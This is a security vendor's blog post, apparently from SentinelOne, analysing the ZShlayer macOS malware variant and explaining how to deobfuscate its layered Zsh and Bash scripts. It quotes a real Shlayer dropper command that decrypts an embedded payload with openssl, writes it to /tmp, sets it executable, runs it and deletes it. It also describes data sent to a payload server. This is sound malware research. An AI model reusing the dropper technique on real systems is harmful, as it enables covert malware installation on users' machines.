Coming Out of Your Shell: From Shlayer to ZShlayer

Earlier this year, we discussed how threat actors have been turning to scripting languages as a preferred means of both dropping malware and executing payloads. That trend has continued with some interesting innovations in response to the static detection signatures now widely in use both by Apple and other vendors. A recent variant of the Shlayer malware follows Apple’s lead in preferring Zsh to Bash as its default shell language and employs a novel encoding method to avoid detection. In this post, we describe this variant and show how it can be decoded to reveal the telltale Shlayer signature.

Didn’t We Just Hear About Shlayer?

Shlayer is perhaps the most talked about macOS malware at the moment and hit the news again recently after being caught sneaking past Apple’s macOS Notarization checks. That version of Shlayer was an interesting diversion: using a Mach-O binary written in C++ to execute a Bash shell script in memory. That might well suggest that Apple’s Notarization checks are static rather than dynamic as the telltale Shlayer code is only evident once the packed binary runs:

sh -c “tail -c +1381 "/Volumes/Install/" | openssl enc -aes-256-cbc -salt -md md5 -d -A -base64 -out /tmp/ZQEifWNV2l -pass "pass:0.6effariGgninthgiL0.6" && chmod 777 /tmp/ZQEifWNV2l && /tmp/ZQEifWNV2l "/Volumes/Install/" && rm -rf /tmp/ZQEifWNV2l”

The classic Shlayer technique is clearly evident here: passing encrypted and password-protected code to openssl and then writing that out as a payload to the /tmp folder.

But Shlayer has been up to other tricks since June of 2020 that have been helping it avoid the static signatures employed by most vendors. Although bypassing Apple’s Notarization checks is obviously a headline grabber, this new variant of Shlayer utilizes heavily obfuscated Zsh scripts and is in fact far more prolific in the wild. Let’s take a look at how this new variant works.

Inside the New ZShlayer Variant

Whereas earlier versions of Shlayer like Shlayer.a came as shell script executables on a removable .DMG disk image, the new ZShlayer malware goes back to using a standard Apple application bundle inside the .DMG.

In place of a Mach-O in the MacOS folder, we instead find this heavily obfuscated Zsh script (only partially shown in the image below):

In the Resources folder, we find two base64 encoded text files.

The entire bundle is codesigned, but it is has not been notarized, indicating that the malware is either intended as a payload for 10.14 or earlier installations or that victims will have to be socially engineered to override the Notarization check. Unlike many other samples we have seen since Catalina was released last year, this one did not include graphical instructions to help the user bypass Apple’s built-in security checks.

This particular sample (c561d62c786c757a660c47d133b6d23e030a40c4aa08aebe44b8c4a7711da580), which dates back to early August, has already had its certificate revoked by Apple.

Despite that, due to the use of the Zsh obfuscation, it’s not particularly well-recognized by static signature scanners on VirusTotal, even as of today.

Decoding the First Stage, Zsh Script Payload

In the following, we’ll use this as for our example:


But the same general method should work across all ZShlayer samples noted at the end of this post.

The Zsh script located in the bundle’s MacOS folder may seem fairly impenetrable at first glance, as indeed it is intended to:

Seeing from the shebang that it’s a shell script, however, immediately tells us that we can isolate each command by introducing a line break at every semicolon.

In BBEdit or similar text editor, we can simply search and replace every semicolon with a semicolon and newline:

Looking toward the end of that output, we can clearly see now where the variable definitions end and the execution logic begins, at line 164:

Note in particular the variable TWm, defined on the penultimate line and executed at line 164. This variable name will prove key as we try to deobfuscate the code.

In order to do that, we’ll first save this modified version of the script with the linebreaks to local disk so that we can use it as input to a python script for decoding. Our script will first of all replace all the variable names with the actual unicode values. Now the line that gets executed looks something like this:

We can echo that code on the command line and print out the unicode in plain text using printf. The full script is available here. Here’s what all the above looks like.

And the output:

ZShlayer Second-Stage Payload

You’ll notice from the output that the decoded Zsh script takes as input only the smaller of the two encoded files from the Resources folder; in this case, the smaller file is called “tun_kibitzers_Babbitt”. If we echo the output from this decoded script to the command line, we’ll see why:

Our ZShlayer script decodes into a trademark Shlayer Bash script which now takes the larger file (here called “profanations_detraction”) and outputs it to a newly-created application bundle in the /tmp folder. Classic Shlayer behavior.

Let’s take that script and comment out the last two lines so that we can get the output while still preventing execution:

The unzipped now in the /tmp folder looks like a duplicate of the one on the original disk image, with the same executable name as the parent and another Bash script in the Resources folder also called “tun_kibitzers_Babbitt” (in this case). However, note the size is different:

Decoding the new script shows that it drops and executes yet another layer of Bash shell scripting. Here’s the head and tail (sandwiched between the two is a huge chunk of base64):

If you followed (or want to check out) our earlier Scripting Macs with Malice post, you’ll recognize that this is the Shlayer.d variant we wrote about there. The output of

"$(_m "$_t" "$_y")"

is almost identical to the Shlayer.d sample we wrote about earlier; the most significant difference being a new URL from which to retrieve the final payload:


The final payload from this point depends on the context of the executing device. As can be seen above, the script gathers OS version, a session UID and machine ID, all of which it posts to the server for processing.

The server, which appears to have been up for at least two months, is not recognized as malicious on VirusTotal and is currently active with a 200 status code.

As Shlayer payloads have been discussed in detail by other researchers, we refer further analysis of the final payload to already published work such as here and here.

How Prevalent is ZShlayer in the Wild?

Searching for ZShlayer on VirusTotal reveals a large number of individual samples and shows that this variant has been active since late June 2020. As of today, our latest retrohunt showed 172 samples. Some of the parent DMGs of these samples have a reputation score of 0/58 on VT.


The ZShlayer variant of the Shlayer malware on top of the recent Shlayer campaign abusing Apple’s Notarization service is clear evidence that these threat actors are continuing to evolve and are pursuing multiple campaigns against macOS users. A multi-engined behavioral AI solution that can detect malware based on its behavior rather than relying solely on file characteristics continues to be the best way to protect your macOS fleet. If you would like to see how SentinelOne can help protect your business, contact us today or request a free demo.

Indicators of Compromise

ZShlayer Scripts

Parent DMGs